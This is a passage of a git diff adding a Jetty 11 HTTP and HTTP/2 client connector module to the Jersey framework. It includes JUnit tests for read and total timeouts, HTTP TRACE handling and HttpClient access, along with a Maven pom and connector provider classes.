+ t.path("test/verybig").request().get();
+ fail("Exception expected.");
+ } catch (ProcessingException e) {
+ // Buffering capacity ... exceeded.
+ assertTrue(ExecutionException.class.isInstance(e.getCause()));
+ assertTrue(IllegalArgumentException.class.isInstance(e.getCause().getCause()));
+ } finally {
+ c.close();
+ }
+ }
+}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/TimeoutTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/TimeoutTest.java
new file mode 100644
index 0000000..cb8d0e2
--- /dev/null
+++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/TimeoutTest.java
@@ -0,0 +1,245 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.connector;
+
+import java.net.URI;
+import java.nio.charset.StandardCharsets;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.DefaultValue;
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.QueryParam;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+import jakarta.ws.rs.core.StreamingOutput;
+
+import org.glassfish.jersey.CommonProperties;
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.ClientProperties;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+
+import org.junit.jupiter.api.Disabled;
+import org.junit.jupiter.api.Test;
+import static org.hamcrest.CoreMatchers.instanceOf;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.fail;
+
+/**
+ * @author Martin Matula
+ * @author Arul Dhesiaseelan (aruld at acm.org)
+ */
+public class TimeoutTest extends JerseyTest {
+ private static final Logger LOGGER = Logger.getLogger(TimeoutTest.class.getName());
+
+ @Path("/test")
+ public static class TimeoutResource {
+ @GET
+ public String get() {
+ return "GET";
+ }
+
+ @GET
+ @Path("timeout")
+ public String getTimeout() {
+ try {
+ Thread.sleep(2000);
+ } catch (InterruptedException e) {
+ e.printStackTrace();
+ }
+ return "GET";
+ }
+
+ /**
+ * Long-running streaming request
+ *
+ * @param count number of packets send
+ * @param pauseMillis pause between each packets
+ */
+ @GET
+ @Path("stream")
+ public Response streamsWithDelay(@QueryParam("start") @DefaultValue("0") int startMillis, @QueryParam("count") int count,
+ @QueryParam("pauseMillis") int pauseMillis) {
+ StreamingOutput streamingOutput = streamSlowly(startMillis, count, pauseMillis);
+
+ return Response.ok(streamingOutput)
+ .build();
+ }
+ }
+
+ private static StreamingOutput streamSlowly(int startMillis, int count, int pauseMillis) {
+
+ return output -> {
+ try {
+ TimeUnit.MILLISECONDS.sleep(startMillis);
+ }
+ catch (InterruptedException e) {
+ Thread.currentThread().interrupt();
+ }
+ output.write("begin\n".getBytes(StandardCharsets.UTF_8));
+ output.flush();
+ for (int i = 0; i < count; i++) {
+ try {
+ TimeUnit.MILLISECONDS.sleep(pauseMillis);
+ }
+ catch (InterruptedException e) {
+ Thread.currentThread().interrupt();
+ }
+
+ output.write(("message " + i + "\n").getBytes(StandardCharsets.UTF_8));
+ output.flush();
+ }
+ output.write("end".getBytes(StandardCharsets.UTF_8));
+ };
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(TimeoutResource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.connectorProvider(new JettyConnectorProvider());
+ }
+
+ @Test
+ public void testFast() {
+ Response r = target("test").request().get();
+ assertEquals(200, r.getStatus());
+ assertEquals("GET", r.readEntity(String.class));
+ }
+
+ @Test
+ public void testSlow() {
+ final URI u = target().getUri();
+ ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000);
+ config.connectorProvider(new JettyConnectorProvider());
+ Client c = ClientBuilder.newClient(config);
+ WebTarget t = c.target(u);
+ try {
+ t.path("test/timeout").request().get();
+ fail("Timeout expected.");
+ } catch (ProcessingException e) {
+ assertThat("Unexpected processing exception cause",
+ e.getCause(), instanceOf(TimeoutException.class));
+ } finally {
+ c.close();
+ }
+ }
+
+ @Test
+ public void testTimeoutInRequest() {
+ final URI u = target().getUri();
+ ClientConfig config = new ClientConfig();
+ config.connectorProvider(new JettyConnectorProvider());
+ Client c = ClientBuilder.newClient(config);
+ WebTarget t = c.target(u);
+ try {
+ t.path("test/timeout").request().property(ClientProperties.READ_TIMEOUT, 1_000).get();
+ fail("Timeout expected.");
+ } catch (ProcessingException e) {
+ assertThat("Unexpected processing exception cause",
+ e.getCause(), instanceOf(TimeoutException.class));
+ } finally {
+ c.close();
+ }
+ }
+
+ /**
+ * Test accessing an operation that is streaming slowly
+ *
+ * @throws ProcessingException in case of a test error.
+ */
+ @Test
+ @Disabled("Test fails with grizzly2 container") // TODO: evaluate, why this test fails with grizzly2
+ public void testSlowlyStreamedContentDoesNotReadTimeout() throws Exception {
+
+ int count = 5;
+ int pauseMillis = 50;
+
+ final Response response = target("test")
+ .property(ClientProperties.READ_TIMEOUT, 100L)
+ .property(CommonProperties.OUTBOUND_CONTENT_LENGTH_BUFFER_SERVER, "-1")
+ .path("stream")
+ .queryParam("count", count)
+ .queryParam("pauseMillis", pauseMillis)
+ .request().get();
+
+ assertTrue(response.readEntity(String.class).contains("end"));
+ }
+
+ @Test
+ public void testSlowlyStreamedContentDoesTotalTimeout() throws Exception {
+
+ int count = 5;
+ int pauseMillis = 50;
+
+ try {
+ target("test")
+ .property(JettyClientProperties.TOTAL_TIMEOUT, 100L)
+ .property(CommonProperties.OUTBOUND_CONTENT_LENGTH_BUFFER_SERVER, "-1")
+ .path("stream")
+ .queryParam("count", count)
+ .queryParam("pauseMillis", pauseMillis)
+ .request().get();
+
+ fail("This operation should trigger total timeout");
+ } catch (ProcessingException e) {
+ assertEquals(TimeoutException.class, e.getCause().getClass());
+ }
+ }
+
+ /**
+ * Test accessing an operation that is streaming slowly
+ *
+ * @throws ProcessingException in case of a test error.
+ */
+ @Test
+ public void testSlowToStartStreamedContentDoesReadTimeout() throws Exception {
+
+ int start = 150;
+ int count = 5;
+ int pauseMillis = 50;
+
+ try {
+ target("test")
+ .property(ClientProperties.READ_TIMEOUT, 100L)
+ .property(CommonProperties.OUTBOUND_CONTENT_LENGTH_BUFFER_SERVER, "-1")
+ .path("stream")
+ .queryParam("start", start)
+ .queryParam("count", count)
+ .queryParam("pauseMillis", pauseMillis)
+ .request().get();
+ fail("This operation should trigger idle timeout");
+ } catch (ProcessingException e) {
+ assertEquals(TimeoutException.class, e.getCause().getClass());
+ }
+ }
+}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/TraceSupportTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/TraceSupportTest.java
new file mode 100644
index 0000000..a7661cb
--- /dev/null
+++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/TraceSupportTest.java
@@ -0,0 +1,235 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.connector;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+import java.util.List;
+import java.util.Map;
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.HttpMethod;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.Produces;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.container.ContainerRequestContext;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Request;
+import jakarta.ws.rs.core.Response;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.process.Inflector;
+import org.glassfish.jersey.server.ContainerRequest;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.server.model.Resource;
+import org.glassfish.jersey.test.JerseyTest;
+
+import org.junit.jupiter.api.Test;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+import static org.junit.jupiter.api.Assertions.fail;
+
+/**
+ * This very basic resource showcases support of a HTTP TRACE method,
+ * not directly supported by JAX-RS API.
+ *
+ * @author Marek Potociar
+ */
+public class TraceSupportTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(TraceSupportTest.class.getName());
+
+ /**
+ * Programmatic tracing root resource path.
+ */
+ public static final String ROOT_PATH_PROGRAMMATIC = "tracing/programmatic";
+
+ /**
+ * Annotated class-based tracing root resource path.
+ */
+ public static final String ROOT_PATH_ANNOTATED = "tracing/annotated";
+
+ @HttpMethod(TRACE.NAME)
+ @Target(ElementType.METHOD)
+ @Retention(RetentionPolicy.RUNTIME)
+ public @interface TRACE {
+ public static final String NAME = "TRACE";
+ }
+
+ @Path(ROOT_PATH_ANNOTATED)
+ public static class TracingResource {
+
+ @TRACE
+ @Produces("text/plain")
+ public String trace(Request request) {
+ return stringify((ContainerRequest) request);
+ }
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(TracingResource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ final Resource.Builder resourceBuilder = Resource.builder(ROOT_PATH_PROGRAMMATIC);
+ resourceBuilder.addMethod(TRACE.NAME).handledBy(new Inflector<ContainerRequestContext, Response>() {
+
+ @Override
+ public Response apply(ContainerRequestContext request) {
+ if (request == null) {
+ return Response.noContent().build();
+ } else {
+ return Response.ok(stringify((ContainerRequest) request), MediaType.TEXT_PLAIN).build();
+ }
+ }
+ });
+
+ return config.registerResources(resourceBuilder.build());
+
+ }
+
+ private String[] expectedFragmentsProgrammatic = new String[]{
+ "TRACE http://localhost:" + this.getPort() + "/tracing/programmatic"
+ };
+ private String[] expectedFragmentsAnnotated = new String[]{
+ "TRACE http://localhost:" + this.getPort() + "/tracing/annotated"
+ };
+
+ private WebTarget prepareTarget(String path) {
+ final WebTarget target = target();
+ target.register(LoggingFeature.class);
+ return target.path(path);
+ }
+
+ @Test
+ public void testProgrammaticApp() throws Exception {
+ Response response = prepareTarget(ROOT_PATH_PROGRAMMATIC).request("text/plain").method(TRACE.NAME);
+
+ assertEquals(Response.Status.OK.getStatusCode(), response.getStatusInfo().getStatusCode());
+
+ String responseEntity = response.readEntity(String.class);
+ for (String expectedFragment : expectedFragmentsProgrammatic) {
+ assertTrue(// toLowerCase - http header field names are case insensitive
+ responseEntity.contains(expectedFragment),
+ "Expected fragment '" + expectedFragment + "' not found in response:\n" + responseEntity);
+ }
+ }
+
+ @Test
+ public void testAnnotatedApp() throws Exception {
+ Response response = prepareTarget(ROOT_PATH_ANNOTATED).request("text/plain").method(TRACE.NAME);
+
+ assertEquals(Response.Status.OK.getStatusCode(), response.getStatusInfo().getStatusCode());
+
+ String responseEntity = response.readEntity(String.class);
+ for (String expectedFragment : expectedFragmentsAnnotated) {
+ assertTrue(// toLowerCase - http header field names are case insensitive
+ responseEntity.contains(expectedFragment),
+ "Expected fragment '" + expectedFragment + "' not found in response:\n" + responseEntity);
+ }
+ }
+
+ @Test
+ public void testTraceWithEntity() throws Exception {
+ _testTraceWithEntity(false, false);
+ }
+
+ @Test
+ public void testAsyncTraceWithEntity() throws Exception {
+ _testTraceWithEntity(true, false);
+ }
+
+ @Test
+ public void testTraceWithEntityJettyConnector() throws Exception {
+ _testTraceWithEntity(false, true);
+ }
+
+ @Test
+ public void testAsyncTraceWithEntityJettyConnector() throws Exception {
+ _testTraceWithEntity(true, true);
+ }
+
+ private void _testTraceWithEntity(final boolean isAsync, final boolean useJettyConnection) throws Exception {
+ try {
+ WebTarget target = useJettyConnection ? getJettyClient().target(target().getUri()) : target();
+ target = target.path(ROOT_PATH_ANNOTATED);
+
+ final Entity<String> entity = Entity.entity("trace", MediaType.WILDCARD_TYPE);
+
+ Response response;
+ if (!isAsync) {
+ response = target.request().method(TRACE.NAME, entity);
+ } else {
+ response = target.request().async().method(TRACE.NAME, entity).get();
+ }
+
+ fail("A TRACE request MUST NOT include an entity. (response=" + response + ")");
+ } catch (Exception e) {
+ // OK
+ }
+ }
+
+ private Client getJettyClient() {
+ return ClientBuilder.newClient(new ClientConfig().connectorProvider(new JettyConnectorProvider()));
+ }
+
+
+ public static String stringify(ContainerRequest request) {
+ StringBuilder buffer = new StringBuilder();
+
+ printRequestLine(buffer, request);
+ printPrefixedHeaders(buffer, request.getHeaders());
+
+ if (request.hasEntity()) {
+ buffer.append(request.readEntity(String.class)).append("\n");
+ }
+
+ return buffer.toString();
+ }
+
+ private static void printRequestLine(StringBuilder buffer, ContainerRequest request) {
+ buffer.append(request.getMethod()).append(" ").append(request.getUriInfo().getRequestUri().toASCIIString()).append("\n");
+ }
+
+ private static void printPrefixedHeaders(StringBuilder buffer, Map<String, List<String>> headers) {
+ for (Map.Entry<String, List<String>> e : headers.entrySet()) {
+ List<String> val = e.getValue();
+ String header = e.getKey();
+
+ if (val.size() == 1) {
+ buffer.append(header).append(": ").append(val.get(0)).append("\n");
+ } else {
+ StringBuilder sb = new StringBuilder();
+ boolean add = false;
+ for (String s : val) {
+ if (add) {
+ sb.append(',');
+ }
+ add = true;
+ sb.append(s);
+ }
+ buffer.append(header).append(": ").append(sb.toString()).append("\n");
+ }
+ }
+ }
+}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/UnderlyingHttpClientAccessTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/UnderlyingHttpClientAccessTest.java
new file mode 100644
index 0000000..7802e45
--- /dev/null
+++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/UnderlyingHttpClientAccessTest.java
@@ -0,0 +1,72 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.connector;
+
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.WebTarget;
+
+import org.glassfish.jersey.client.ClientConfig;
+
+import org.eclipse.jetty.client.HttpClient;
+import org.junit.jupiter.api.Test;
+
+import static org.hamcrest.CoreMatchers.is;
+import static org.junit.jupiter.api.Assertions.assertNotNull;
+import static org.junit.jupiter.api.Assertions.assertSame;
+import static org.hamcrest.MatcherAssert.assertThat;
+
+/**
+ * Test of access to the underlying HTTP client instance used by the connector.
+ *
+ * @author Marek Potociar
+ */
+public class UnderlyingHttpClientAccessTest {
+
+ /**
+ * Verifier of JERSEY-2424 fix.
+ */
+ @Test
+ public void testHttpClientInstanceAccess() {
+ final Client client = ClientBuilder.newClient(new ClientConfig().connectorProvider(new JettyConnectorProvider()));
+ final HttpClient hcOnClient = JettyConnectorProvider.getHttpClient(client);
+ // important: the web target instance in this test must be only created AFTER the client has been pre-initialized
+ // (see org.glassfish.jersey.client.Initializable.preInitialize method). This is here achieved by calling the
+ // connector provider's static getHttpClient method above.
+ final WebTarget target = client.target("http://localhost/");
+ final HttpClient hcOnTarget = JettyConnectorProvider.getHttpClient(target);
+
+ assertNotNull(hcOnClient, "HTTP client instance set on JerseyClient should not be null.");
+ assertNotNull(hcOnTarget, "HTTP client instance set on JerseyWebTarget should not be null.");
+ assertSame(hcOnClient, hcOnTarget, "HTTP client instance set on JerseyClient should be the same instance as the one "
+ + "set on JerseyWebTarget (provided the target instance has not been further configured).");
+ }
+
+ @Test
+ public void testGetProvidedClientInstance() {
+ final HttpClient httpClient = new HttpClient();
+ final ClientConfig clientConfig = new ClientConfig()
+ .connectorProvider(new JettyConnectorProvider())
+ .register(new JettyHttpClientSupplier(httpClient));
+ final Client client = ClientBuilder.newClient(clientConfig);
+ final WebTarget target = client.target("http://localhost/");
+ final HttpClient hcOnTarget = JettyConnectorProvider.getHttpClient(target);
+
+ assertThat("Instance provided to a ClientConfig differs from instance provided by JettyProvider",
+ httpClient, is(hcOnTarget));
+ }
+}
diff --git a/connectors/jetty11-http2-connector/pom.xml b/connectors/jetty11-http2-connector/pom.xml
new file mode 100644
index 0000000..c3633ed
--- /dev/null
+++ b/connectors/jetty11-http2-connector/pom.xml
@@ -0,0 +1,187 @@
+<?xml version="1.0"?>
+<!--
+
+ Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+
+ This program and the accompanying materials are made available under the
+ terms of the Eclipse Public License v. 2.0, which is available at
+ http://www.eclipse.org/legal/epl-2.0.
+
+ This Source Code may also be made available under the following Secondary
+ Licenses when the conditions for such availability set forth in the
+ Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ version 2 with the GNU Classpath Exception, which is available at
+ https://www.gnu.org/software/classpath/license.html.
+
+ SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+
+-->
+
+<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
+ <modelVersion>4.0.0</modelVersion>
+
+ <parent>
+ <groupId>org.glassfish.jersey.connectors</groupId>
+ <artifactId>project</artifactId>
+ <version>3.1.99-SNAPSHOT</version>
+ </parent>
+
+ <artifactId>jersey-jetty11-http2-connector</artifactId>
+ <packaging>jar</packaging>
+ <name>jersey-connectors-jetty11-http2</name>
+
+ <description>Jersey Client Transport via Jetty 11</description>
+
+ <properties>
+ <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
+ <java8.build.outputDirectory>${project.basedir}/target</java8.build.outputDirectory>
+ <java8.sourceDirectory>${project.basedir}/src/main/java8</java8.sourceDirectory>
+ <java11.build.outputDirectory>${project.basedir}/target11</java11.build.outputDirectory>
+ <java11.sourceDirectory>${project.basedir}/src/main/java11</java11.sourceDirectory>
+ </properties>
+
+ <dependencyManagement>
+ <dependencies>
+ <dependency>
+ <groupId>org.eclipse.jetty</groupId>
+ <artifactId>jetty-server</artifactId>
+ <version>${jetty11.version}</version>
+ </dependency>
+ <dependency>
+ <groupId>org.eclipse.jetty</groupId>
+ <artifactId>jetty-client</artifactId>
+ <version>${jetty11.version}</version>
+ </dependency>
+ <dependency>
+ <groupId>org.eclipse.jetty</groupId>
+ <artifactId>jetty-util</artifactId>
+ <version>${jetty11.version}</version>
+ </dependency>
+ <dependency>
+ <groupId>org.eclipse.jetty.http2</groupId>
+ <artifactId>http2-server</artifactId>
+ <version>${jetty11.version}</version>
+ </dependency>
+ <dependency>
+ <groupId>org.eclipse.jetty</groupId>
+ <artifactId>jetty-alpn-conscrypt-server</artifactId>
+ <version>${jetty11.version}</version>
+ </dependency>
+ <dependency>
+ <groupId>org.eclipse.jetty.http2</groupId>
+ <artifactId>http2-client</artifactId>
+ <version>${jetty11.version}</version>
+ </dependency>
+ <dependency>
+ <groupId>org.eclipse.jetty.http2</groupId>
+ <artifactId>http2-http-client-transport</artifactId>
+ <version>${jetty11.version}</version>
+ </dependency>
+ </dependencies>
+ </dependencyManagement>
+
+ <dependencies>
+ <dependency>
+ <groupId>org.eclipse.jetty</groupId>
+ <artifactId>jetty-client</artifactId>
+ <version>${jetty11.version}</version>
+ </dependency>
+ <dependency>
+ <groupId>org.eclipse.jetty.http2</groupId>
+ <artifactId>http2-client</artifactId>
+ <version>${jetty11.version}</version>
+ </dependency>
+ <dependency>
+ <groupId>org.eclipse.jetty.http2</groupId>
+ <artifactId>http2-http-client-transport</artifactId>
+ <version>${jetty11.version}</version>
+ </dependency>
+ <dependency>
+ <groupId>org.eclipse.jetty</groupId>
+ <artifactId>jetty-util</artifactId>
+ <version>${jetty11.version}</version>
+ </dependency>
+
+ <dependency>
+ <groupId>org.glassfish.jersey.connectors</groupId>
+ <artifactId>jersey-jetty11-connector</artifactId>
+ <version>${project.version}</version>
+ <exclusions>
+ <exclusion>
+ <groupId>org.eclipse.jetty</groupId>
+ <artifactId>jetty-client</artifactId>
+ </exclusion>
+ </exclusions>
+ </dependency>
+
+ <dependency>
+ <groupId>org.glassfish.jersey.media</groupId>
+ <artifactId>jersey-media-jaxb</artifactId>
+ <version>${project.version}</version>
+ <scope>test</scope>
+ </dependency>
+
+ <dependency>
+ <groupId>org.glassfish.jersey.containers</groupId>
+ <artifactId>jersey-container-jetty11-http2</artifactId>
+ <version>${project.version}</version>
+ <scope>test</scope>
+ <exclusions>
+ <exclusion>
+ <groupId>org.eclipse.jetty</groupId>
+ <artifactId>http2-server</artifactId>
+ </exclusion>
+ </exclusions>
+ </dependency>
+ <dependency>
+ <groupId>org.glassfish.jersey.media</groupId>
+ <artifactId>jersey-media-json-jackson</artifactId>
+ <version>${project.version}</version>
+ <scope>test</scope>
+ </dependency>
+ <dependency>
+ <groupId>org.glassfish.jersey.test-framework.providers</groupId>
+ <artifactId>jersey-test-framework-provider-jetty11-http2</artifactId>
+ <version>${project.version}</version>
+ <scope>test</scope>
+ </dependency>
+ <dependency>
+ <groupId>com.sun.xml.bind</groupId>
+ <artifactId>jaxb-osgi</artifactId>
+ <scope>test</scope>
+ </dependency>
+ </dependencies>
+
+ <build>
+ <plugins>
+ <plugin>
+ <groupId>com.sun.istack</groupId>
+ <artifactId>istack-commons-maven-plugin</artifactId>
+ <inherited>true</inherited>
+ </plugin>
+ <plugin>
+ <groupId>org.codehaus.mojo</groupId>
+ <artifactId>build-helper-maven-plugin</artifactId>
+ <inherited>true</inherited>
+ </plugin>
+ <plugin>
+ <groupId>org.apache.maven.plugins</groupId>
+ <artifactId>maven-compiler-plugin</artifactId>
+ </plugin>
+ <plugin>
+ <groupId>org.apache.felix</groupId>
+ <artifactId>maven-bundle-plugin</artifactId>
+ <inherited>true</inherited>
+ <configuration>
+ <instructions>
+ <Import-Package>
+ ${jetty.osgi.version},
+ *
+ </Import-Package>
+ </instructions>
+ </configuration>
+ </plugin>
+ </plugins>
+ </build>
+
+</project>
\ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/main/java8/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java b/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java
similarity index 78%
rename from connectors/jetty-http2-connector/src/main/java8/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java
rename to connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java
index 6275727..454efd0 100644
--- a/connectors/jetty-http2-connector/src/main/java8/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java
+++ b/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java
@@ -16,12 +16,13 @@
package org.glassfish.jersey.jetty.http2.connector;
-import jakarta.ws.rs.ProcessingException;
import org.eclipse.jetty.client.HttpClient;
-import org.glassfish.jersey.internal.util.JdkVersion;
+import org.eclipse.jetty.client.HttpClientTransport;
+import org.eclipse.jetty.http2.client.HTTP2Client;
+import org.eclipse.jetty.http2.client.http.HttpClientTransportOverHTTP2;
+import org.glassfish.jersey.jetty.connector.JettyConnector;
import org.glassfish.jersey.jetty.connector.JettyHttpClientContract;
import org.glassfish.jersey.jetty.connector.JettyHttpClientSupplier;
-import org.glassfish.jersey.jetty.connector.LocalizationMessages;
/**
* HTTP/2 enabled version of the {@link JettyHttpClientSupplier}
@@ -40,17 +41,15 @@
/**
* supplier for the {@code HttpClient} with {@code HttpClientTransportOverHTTP2} to be optionally registered
* to a {@link org.glassfish.jersey.client.ClientConfig}
- * @param http2Client seed doc for JDK 11+.
+ * @param http2Client a HttpClient to be supplied when {@link JettyConnector#getHttpClient()} is called.
*/
public JettyHttp2ClientSupplier(HttpClient http2Client) {
this.http2Client = http2Client;
}
private static final HttpClient createHttp2Client() {
- if (JdkVersion.getJdkVersion().getMajor() < 11) {
- throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
- }
- return null; // does not work at JDK 1.8
+ final HttpClientTransport transport = new HttpClientTransportOverHTTP2(new HTTP2Client());
+ return new HttpClient(transport);
}
@Override
diff --git a/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2Connector.java b/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2Connector.java
similarity index 100%
rename from connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2Connector.java
rename to connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2Connector.java
diff --git a/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java b/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java
new file mode 100644
index 0000000..02eaf5a
--- /dev/null
+++ b/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.core.Configurable;
+import jakarta.ws.rs.core.Configuration;
+import org.eclipse.jetty.client.HttpClient;
+import org.glassfish.jersey.client.Initializable;
+import org.glassfish.jersey.client.spi.Connector;
+import org.glassfish.jersey.jetty.connector.JettyConnectorProvider;
+import org.glassfish.jersey.jetty.connector.LocalizationMessages;
+
+/**
+ * Provides HTTP2 enabled version of the {@link JettyConnectorProvider} for a client
+ *
+ * @since 2.41
+ */
+public class JettyHttp2ConnectorProvider extends JettyConnectorProvider {
+ @Override
+ public Connector getConnector(Client client, Configuration runtimeConfig) {
+ return new JettyHttp2Connector(client, runtimeConfig);
+ }
+
+ public static HttpClient getHttpClient(Configurable<?> component) {
+ if (!(component instanceof Initializable)) {
+ throw new IllegalArgumentException(
+ LocalizationMessages.INVALID_CONFIGURABLE_COMPONENT_TYPE(component.getClass().getName()));
+ }
+
+ final Initializable<?> initializable = (Initializable<?>) component;
+ Connector connector = initializable.getConfiguration().getConnector();
+ if (connector == null) {
+ initializable.preInitialize();
+ connector = initializable.getConfiguration().getConnector();
+ }
+
+ if (connector instanceof JettyHttp2Connector) {
+ return ((JettyHttp2Connector) connector).getHttpClient();
+ }
+
+ throw new IllegalArgumentException(LocalizationMessages.EXPECTED_CONNECTOR_PROVIDER_NOT_USED());
+ }
+}
\ No newline at end of file
diff --git a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java b/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/package-info.java
similarity index 72%
copy from core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java
